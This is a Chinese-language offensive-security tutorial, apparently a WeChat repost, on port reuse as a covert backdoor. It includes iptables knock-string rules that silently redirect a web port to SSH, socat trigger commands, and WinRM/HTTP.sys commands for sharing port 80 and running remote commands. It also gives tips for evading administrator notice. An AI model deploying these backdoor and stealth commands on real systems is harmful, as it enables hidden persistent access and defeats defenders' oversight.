本文作者:Spark(Ms08067内网安全小组成员)
定义:端口复用是指不同的应用程序使用相同端口进行通讯。
-
端口复用可以更好地隐蔽攻击行为,提高生存几率。
-
端口复用有时也用作通道后门。
-
端口复用在系统已开放的端口上进行通讯,只对输入的信息进行字符匹配,不对网络数据进行任何拦截、复制类操作,所以对网络数据的传输性能几乎没有影响。
一、Linux端口复用
1.概述
2.原理
(1) iptables
-
真正实现防火墙功能的是netfilter,它是linux内核中实现包过滤的核心。
-
免费。
-
可实现封包过滤、封包重定向和网路地址转换(NAT)等功能。
(2) 数据通过防火墙流程
(3) 链
-
PREROUTING链——对数据包作路由选择前应用此链中的规则(所有的数据包进来的时侯都先由这个链处理)
-
INPUT链——进来的数据包应用此规则链中的策略
-
OUTPUT链——外出的数据包应用此规则链中的策略
-
FORWARD链——转发数据包时应用此规则链中的策略
-
POSTROUTING链——对数据包作路由选择后应用此链中的规则(所有的数据包出来的时侯都先由这个链处理)
(4) 表
-
filter表——用于存放所有与防火墙相关操作的默认表。通常用于过滤数据包。
-
nat表——用于网络地址转换
-
mangle表——用于处理数据包
-
raw表——用于配置数据包,raw 中的数据包不会被系统跟踪。
(5) 链和表的关系及顺序
-
PREROUTING: raw -> mangle -> nat
-
INPUT: mangle -> filter
-
FORWARD: mangle -> filter
-
OUTPUT: raw -> mangle -> nat -> filter
-
POSTROUTING: mangle -> nat
(6) 表和链的关系
-
raw 表:PREROUTING,OUTPUT
-
mangle表:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
-
nat 表:PREROUTING,OUTPUT,POSTROUTING
-
filter 表:INPUT,FORWARD,OUTPUT
(7) 添加规则
iptables ‐t 表名 <‐A/I/D/R> 规则链名 [规则号] <‐i/o 网卡名> ‐p 协议名 <‐s 源ip、源子网> ‐‐sport 源端口 <‐d 目标ip/目标子网> ‐‐dport 目标端口 ‐j 动作
(8) socat
3.指令速查
(1) 配置端口复用及开关规则
-
目标主机上创建新转发链
-
设置复用规则(设置转发规则)
-
设置开关规则(接受约定字符后规则生效/失效)
-
约定字符尽量复杂
# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
(2) 使用socat连接
echo threathuntercoming | socat ‐ tcp:192.168.245.135:8000
echo threathunterleaving | socat ‐ tcp:192.168.245.135:8000
4.实验
-
Target:Ubuntu 16.04 x64
-
IP:192.168.245.135
-
开启8000端口的web服务
-
开启22端口
-
Attacker:Kali 2020 x64
-
IP:192.168.245.130
5.参考链接
-
https://www.jianshu.com/p/12a24a95fe2c
-
https://www.freebuf.com/articles/network/137683.html
二、Windows端口复用
1.概述
-
优点:HTTP.sys为windows原生机制,WinRM为windows自带功能,动作较小,不易触发主动防御。
-
需要管理员权限。
2.原理
(1) HTTP.sys
-
为了优化IIS服务器性能
-
从IIS6.0引入(即Windows Server 2003及以上版本)
-
IIS服务进程依赖HTTP.sys
(2) Net.tcp Port Sharing
现在使用微软提供的NET.tcp Port Sharing服务,只要遵循相关的开发接口规则,就可以实现不同的应用共享相同的web服务器端口。如下图中Web Application 1和Web Application 2同时绑定在80端口。
(3) WinRM
3.指令速查
netsh http show servicestate
(1) 开启winrm服务
winrm quickconfig ‐q
(2) 增加80端口复用
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
(3) 更改winrm为80端口
-
默认5985端口开启,不需要更改端口。
-
默认5985端口不开启,则更改winrm为80端口,否则会因端口改变而引起管理员关注。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
(4) 攻击机也需要启动winrm并设置信任连接
# 启动winrm
winrm quickconfig ‐q
# 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}
(5) 连接使用winrs命令接口连接远程winrm服务执行命令,并返回结果
winrs ‐r:http://www.aabbcc.com ‐u:administrator ‐p:Password [命令]
4.实验
-
Target:Windows Server 2008 R2 x64
-
IP:192.168.245.133
-
Attacker:Windows Server 2008 R2 x64
-
IP:192.168.245.134
5.提升权限(未亲测)
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
6.Hash登录(未亲测)
7.参考链接
-
https://www.freebuf.com/articles/web/142628.html
-
https://paper.seebug.org/1004/
END
欢迎关注玄魂工作室
本文始发于微信公众号(玄魂工作室):一文打尽 Linux/Windows端口复用实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论